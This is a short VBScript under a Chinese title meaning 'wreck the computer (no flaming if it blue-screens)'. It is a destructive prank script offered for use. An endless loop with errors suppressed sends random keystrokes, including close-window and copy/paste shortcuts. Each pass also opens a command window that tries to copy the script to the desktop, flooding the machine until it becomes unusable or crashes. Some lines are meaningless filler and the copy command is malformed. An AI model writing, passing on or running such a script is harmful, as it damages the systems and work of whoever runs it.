毁电脑(蓝屏勿喷)

Set fs=CreateObject("Scripting.FileSystemObject")
set ws=createobject("wscript.shell")
Sub MonitorSystem(objfso)
Do
on error resume next
ws.sendkeys("+-x/^e^c^v^q{alt}+[f4]+{f4}+-*/")
qaq=apcp
qaq="apcq"+qaq
ws.run("cmd /k copy "&chr(34)&WScript.ScriptFullName&"%桌面%"& "&"&"exit" )
Loop
end sub
MonitorSystem(fs)